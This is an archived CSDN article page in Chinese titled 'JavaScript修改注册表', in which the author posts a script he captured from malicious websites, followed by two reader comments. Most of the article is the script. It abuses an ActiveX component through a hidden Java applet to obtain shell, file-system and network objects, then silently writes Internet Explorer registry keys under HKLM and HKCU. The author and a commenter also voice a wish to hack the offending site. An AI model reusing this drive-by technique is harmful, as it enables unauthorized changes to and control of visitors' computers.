📄 javascript修改注册表.htm
字号:
href="http://dev.csdn.net/articlelist.aspx?c=8">数据库开发</A> (<A
href="http://www.csdn.net/Rss/RssFeed.aspx?rssid=1&bigclassid=8">rss</A>) </TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="95%" align=center
border=0>
<TBODY>
<TR>
<TD style="COLOR: #0033ff; BORDER-BOTTOM: #b0c4de 1px dashed"
align=right><FONT style="FONT-SIZE: 8pt">软件工程</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/articlelist.aspx?c=13">其他</A> (<A
href="http://www.csdn.net/Rss/RssFeed.aspx?rssid=1&bigclassid=13">rss</A>) </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=0 width="100%" bgColor=#000000
border=0><TBODY>
<TR>
<TD vAlign=top bgColor=#ededed>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD align=right
background="CSDN技术中心 JavaScript修改注册表.files/top.gif"
height=27><FONT
class=fonttitle>积极原创作者 </FONT></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=2 width="100%" border=0>
<TBODY>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/justforfun9912">justforfun9912</A> <FONT
color=#ff0000>(1)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/guoyan19811021">guoyan19811021</A> <FONT
color=#ff0000>(22)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/stlmmfe">stlmmfe</A> <FONT
color=#ff0000>(1)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/PercyLee">PercyLee</A> <FONT
color=#ff0000>(74)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/myQQ330889027">myQQ330889027</A> <FONT
color=#ff0000>(4)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/brucelau">brucelau</A> <FONT
color=#ff0000>(15)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/chunhuizhao">chunhuizhao</A> <FONT
color=#ff0000>(2)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/isostar">isostar</A> <FONT
color=#ff0000>(3)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/Olics">Olics</A> <FONT
color=#ff0000>(4)</FONT></TD></TR>
<TR>
<TD align=right><A
href="http://dev.csdn.net/user/jw83">jw83</A> <FONT
color=#ff0000>(1)</FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD>
<TD vAlign=top width=786>
<TABLE cellPadding=4 width="100%" border=0>
<TBODY>
<TR>
<TD width=10 height=19></TD>
<TD height=19>
<TABLE cellSpacing=3 cellPadding=3 width="100%" border=0>
<TBODY>
<TR>
<TD><A href="http://www.csdn.net/">CSDN</A> - <A
href="http://dev.csdn.net/">文档中心</A> - <FONT color=#003399><A
id=ArticleTitle1_ArticleTitle1_hlClass
href="http://dev.csdn.net/articlelist.aspx?c=7">Javascript</A></FONT>
</TD>
<TD align=right>阅读:<SPAN
id=ArticleTitle1_ArticleTitle1_lblReadCount>1457</SPAN>
评论: <SPAN
id=ArticleTitle1_ArticleTitle1_lblCommentCount>2</SPAN>
<A
href="http://dev.csdn.net/article/9/9535.shtm#Comment">参与评论</A>
</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=3 cellPadding=3 width="100%" bgColor=#eeeeee
border=0>
<TBODY>
<TR>
<TD noWrap width=60 height=0></TD>
<TD></TD></TR>
<TR>
<TD noWrap align=middle bgColor=#003399 height=16><FONT
color=#ffffff>标题</FONT></TD>
<TD><B> <SPAN
id=ArticleTitle1_ArticleTitle1_lblTitle>JavaScript修改注册表</SPAN></B>
<A id=ArticleTitle1_ArticleTitle1_AuthorLink
href="http://dev.csdn.net/user/sundna">sundna</A> [<SPAN
id=ArticleTitle1_ArticleTitle1_lblType>原作</SPAN>] </TD></TR>
<TR>
<TD align=middle bgColor=#003399 height=16><FONT
color=#ffffff>关键字</FONT></TD>
<TD width=500> <SPAN
id=ArticleTitle1_ArticleTitle1_lblKeywords>注册表</SPAN></TD></TR>
<TR>
<TD align=middle bgColor=#003399 height=16><FONT
color=#ffffff>出处</FONT></TD>
<TD> <SPAN
id=ArticleTitle1_ArticleTitle1_lblSource></SPAN></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD width=10></TD>
<TD><SPAN id=ArticleContent1_ArticleContent1_lblContent>
<P>前段时间网上有不少的“烂站”,用JavaScript 将咱们的IE标题改得面目全非,要不是看到最进国际上人道主义呼声号召的份上,真想回头黑了那该死的烂站,现将其代码抓了下来供大家参考</P>
<P><SCRIPT Language="JavaScript"
type="text/javascript"><BR><!--<BR><BR>document.write("<APPLET
HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");<BR><BR>function
f(){<BR>try<BR>{<BR>//ActiveX
initialization<BR>a1=document.applets[0];<BR>a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");<BR>a1.createInstance();<BR>Shl
=
a1.GetObject();<BR>a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");<BR>a1.createInstance();<BR>FSO
=
a1.GetObject();<BR>a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");<BR>a1.createInstance();<BR>Net
= a1.GetObject();<BR><BR>try<BR>{<BR>if
(document.cookie.indexOf("Chg") == -1)<BR>{<BR><BR><BR>Shl.RegWrite
("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title",
"该死的烂站");<BR>Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title", "该死的烂站");<BR>var expdate = new
Date((new Date()).getTime() + (1));<BR>document.cookie="Chg=general;
expires=" + expdate.toGMTString() + ";
path=/;"<BR><BR>}<BR>}<BR>catch(e)<BR>{}<BR>}<BR>catch(e)<BR>{}<BR>}<BR>function
init()<BR>{<BR>setTimeout("f()", 1000);<BR>}<BR>init();<BR><BR>//
--><BR></SCRIPT></P></SPAN></TD></TR></TBODY></TABLE><A
name=#Comment></A>
<TABLE cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center
bgColor=#006699 border=0>
<TBODY>
<TR bgColor=#006699>
<TD id=white align=middle width=556 bgColor=#006699><FONT
color=#ffffff>对该文的评论</FONT> </TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=2 width="100%" align=center
bgColor=#666666 border=0>
<TBODY>
<TR>
<TD bgColor=#cccccc colSpan=3><SPAN
style="COLOR: #990000"><IMG height=16 hspace=1
src="CSDN技术中心 JavaScript修改注册表.files/ico_pencil.gif" width=16>
</SPAN><SPAN
id=CommnetList1_CommnetList1_rpCommentList__ctl0_lblUserName>gongjin21</SPAN>
<I>( <SPAN
id=CommnetList1_CommnetList1_rpCommentList__ctl0_lblPostTime>2001-11-19</SPAN>)</I>
</TD></TR>
<TR>
<TD width=532 bgColor=#ffffff colSpan=3><SPAN
id=CommnetList1_CommnetList1_rpCommentList__ctl0_lblContent>是啊!真够气愤!!!!<BR>现在有好多网站都搞这花招,真想黑了它!!<BR>对付这种网页还有人道法吗?<BR>哪个网站要黑的??我也来帮帮忙!</SPAN>
</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=2 width="100%" align=center
bgColor=#666666 border=0>
<TBODY>
<TR>
<TD bgColor=#cccccc colSpan=3><SPAN
style="COLOR: #990000"><IMG height=16 hspace=1
src="CSDN技术中心 JavaScript修改注册表.files/ico_pencil.gif" width=16>
</SPAN><SPAN
id=CommnetList1_CommnetList1_rpCommentList__ctl1_lblUserName>little_f</SPAN>
<I>( <SPAN
id=CommnetList1_CommnetList1_rpCommentList__ctl1_lblPostTime>2001-08-09</SPAN>)</I>
</TD></TR>
<TR>
<TD width=532 bgColor=#ffffff colSpan=3><SPAN
id=CommnetList1_CommnetList1_rpCommentList__ctl1_lblContent>这种该死的烂害我把Script的运行权都关了。</SPAN>
</TD></TR></TBODY></TABLE>
<DIV align=right><A id=CommnetList1_CommnetList1_Morelink
href="http://comment.csdn.net/Comment.aspx?c=2&s=9535">【评论】</A>
<A id=CommnetList1_CommnetList1_Hyperlink1
href="javascript:window.close();">【关闭】</A>
</DIV><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></FORM><!-- 版权 -->
<HR align=center width=770 noShade SIZE=1>
<TABLE cellSpacing=0 cellPadding=0 width=500 align=center border=0>
<TBODY>
<TR>
<TD vAlign=bottom align=middle height=10><A
href="http://www.csdn.net/intro/intro.asp?id=2">网站简介</A> - <A
href="http://www.csdn.net/intro/intro.asp?id=5">广告服务</A> - <A
href="http://www.csdn.net/map/map.shtm">网站地图</A> - <A
href="http://www.csdn.net/help/help.asp">帮助信息</A> - <A
href="http://www.csdn.net/intro/intro.asp?id=2">联系方式</A> - <A
href="http://www.csdn.net/english">English</A> </TD>
<TD align=middle rowSpan=3><A
href="http://www.hd315.gov.cn/beian/view.asp?bianhao=010202001032100010"><IMG
height=48 src="CSDN技术中心 JavaScript修改注册表.files/biaoshi.gif" width=40
border=0></A></TD></TR>
<TR>
<TD vAlign=top align=middle>北京百联美达美数码科技有限公司 版权所有 京ICP证020026号</TD></TR>
<TR align=middle>
<TD vAlign=top><FONT face=Verdana>Copyright © CSDN.NET, Inc. All Rights
Reserved</FONT></TD></TR>
<TR>
<TD height=15></TD></TR></TBODY></TABLE><!-- /版权 -->
<SCRIPT>
document.write("<img src=http://count.csdn.net/count/pageview1.asp?columnid=4&itemid=11 border=0 width=0 height=0>");
</SCRIPT>
</BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -